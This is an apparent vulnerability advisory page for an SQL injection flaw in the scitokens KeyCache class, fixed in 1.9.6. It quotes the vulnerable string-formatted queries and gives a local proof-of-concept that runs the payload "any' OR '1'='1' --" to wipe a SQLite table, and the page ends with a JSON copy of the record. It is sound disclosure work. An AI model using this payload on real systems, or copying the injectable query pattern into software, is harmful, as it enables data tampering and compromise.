PYSEC-2026-530

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23
VLAI
Details

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

### Details File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
 ```

**2. In `_addkeyinfo` (around lines 89 and 94):**
```python
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))
 ```

**3. In `_delete_cache_entry` (around line 128):**
```python
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))
 ```

**5. In `getkeyinfo` (around lines 193 and 198):**
```python
key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

``` import sqlite3 import os import sys import tempfile import shutil import time import json from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization

def poc_sql_injection(): print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")

# We will demonstrate the vulnerability by manually executing the kind of query
# that WAS present in the code, showing how it can be exploited.

# Setup temporary database
fd, db_path = tempfile.mkstemp()
os.close(fd)

conn = sqlite3.connect(db_path)
curs = conn.cursor()
curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")

# Add legitimate entries
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
conn.commit()

curs.execute(" SELECT count(*) FROM keycache")
print(f"Count before injection: {curs.fetchone()[0]}")

# MALICIOUS INPUT
# The original code was: 
# curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

malicious_issuer = "any' OR '1'='1' --"
malicious_kid = "irrelevant"

print(f"Simulating injection with issuer: {malicious_issuer}")

# This simulates what the VULNERABLE code did:
query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
print(f"Generated query: {query}")

curs.execute(query)
conn.commit()

curs.execute("SELECT count(*) FROM keycache")
count = curs.fetchone()[0]
print(f"Count after injection: {count}")

if count == 0:
    print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")

conn.close()
os.remove(db_path)

if name == "main": poc_sql_injection() ```

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could: 1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys. 2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions. 3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Impacted products
Name purl
scitokens pkg:pypi/scitokens

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scitokens",
        "purl": "pkg:pypi/scitokens"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1",
        "0.1.1",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.1.0",
        "1.1.1",
        "1.2.0",
        "1.2.1",
        "1.2.2",
        "1.2.4",
        "1.3.1",
        "1.4.0",
        "1.5.0",
        "1.6.0",
        "1.6.2",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.4",
        "1.8.0",
        "1.8.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32714",
    "GHSA-rh5m-2482-966c"
  ],
  "details": "### Summary\nThe `KeyCache` class in `scitokens` was vulnerable to SQL Injection because it used Python\u0027s `str.format()` to construct SQL queries with user-supplied data (such as `issuer` and `key_id`). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.\n\nRan the POC below locally.\n\n ### Details\n**File:** `src/scitokens/utils/keycache.py`\n\n### Vulnerable Code Snippets\n\n**1. In `addkeyinfo` (around line 74):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n ```\n\n**2. In `_addkeyinfo` (around lines 89 and 94):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n                       \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,\n                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))\n ```\n\n**3. In `_delete_cache_entry` (around line 128):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer,\n            key_id))\n```\n\n**4. In `_add_negative_cache_entry` (around lines 148 and 152):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n                    \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,\n                                        keydata=keydata, next_update=time.time()+cache_retry_interval))\n ```\n\n**5. In `getkeyinfo` (around lines 193 and 198):**\n```python\nkey_query = (\"SELECT * FROM keycache WHERE \"\n             \"issuer = \u0027{issuer}\u0027\")\n# ...\n curs.execute(key_query.format(issuer=issuer, key_id=key_id))\n```\n\n\n### PoC\n ```\nimport sqlite3\nimport os\nimport sys\nimport tempfile\nimport shutil\nimport time\nimport json\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\n\ndef poc_sql_injection():\n    print(\"--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---\")\n    \n    # We will demonstrate the vulnerability by manually executing the kind of query\n    # that WAS present in the code, showing how it can be exploited.\n    \n    # Setup temporary database\n    fd, db_path = tempfile.mkstemp()\n    os.close(fd)\n    \n    conn = sqlite3.connect(db_path)\n    curs = conn.cursor()\n    curs.execute(\"CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))\")\n    \n    # Add legitimate entries\n    curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit1.com\", int(time.time())+3600, \"key1\", \"{}\", int(time.time())+3600))\n    curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit2.com\", int(time.time())+3600, \"key2\", \"{}\", int(time.time())+3600))\n    conn.commit()\n    \n    curs.execute(\" SELECT count(*) FROM keycache\")\n    print(f\"Count before injection: {curs.fetchone()[0]}\")\n    \n    # MALICIOUS INPUT\n    # The original code was: \n    # curs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n    \n    malicious_issuer = \"any\u0027 OR \u00271\u0027=\u00271\u0027 --\"\n    malicious_kid = \"irrelevant\"\n    \n    print(f\"Simulating injection with issuer: {malicious_issuer}\")\n    \n    # This simulates what the VULNERABLE code did:\n    query = \"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(malicious_issuer, malicious_kid)\n    print(f\"Generated query: {query}\")\n    \n    curs.execute(query)\n    conn.commit()\n    \n    curs.execute(\"SELECT count(*) FROM keycache\")\n    count = curs.fetchone()[0]\n    print(f\"Count after injection: {count}\")\n    \n    if count == 0:\n        print(\"[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!\")\n    \n    conn.close()\n    os.remove(db_path)\n\nif __name__ == \"__main__\":\n    poc_sql_injection()\n```\n### Impact\nAn attacker who can influence the `issuer` or `key_id` (e.g., through a malicious token or issuer endpoint) could:\n1.  **Modify or Delete Cache Entries:** Clear the entire key cache or inject malicious keys.\n2.  **Information Leakage:** Query other tables or system information if SQLite is configured with certain extensions.\n3.  **Potential RCE:** In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using `ATTACH DATABASE` to write a malicious file).\n\n### MITIGATION AND WORKAROUNDS\nReplace string formatting with parameterized queries using the DB-API\u0027s placeholder syntax (e.g., `?` for SQLite).",
  "id": "PYSEC-2026-530",
  "modified": "2026-07-01T20:23:04.757243Z",
  "published": "2026-06-29T11:50:44.789392Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/commit/3dba108853f2f4a6c0f2325c03779bf083c41cf2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scitokens/scitokens"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.6"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/scitokens"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-rh5m-2482-966c"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SciTokens is vulnerable to SQL Injection in KeyCache"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…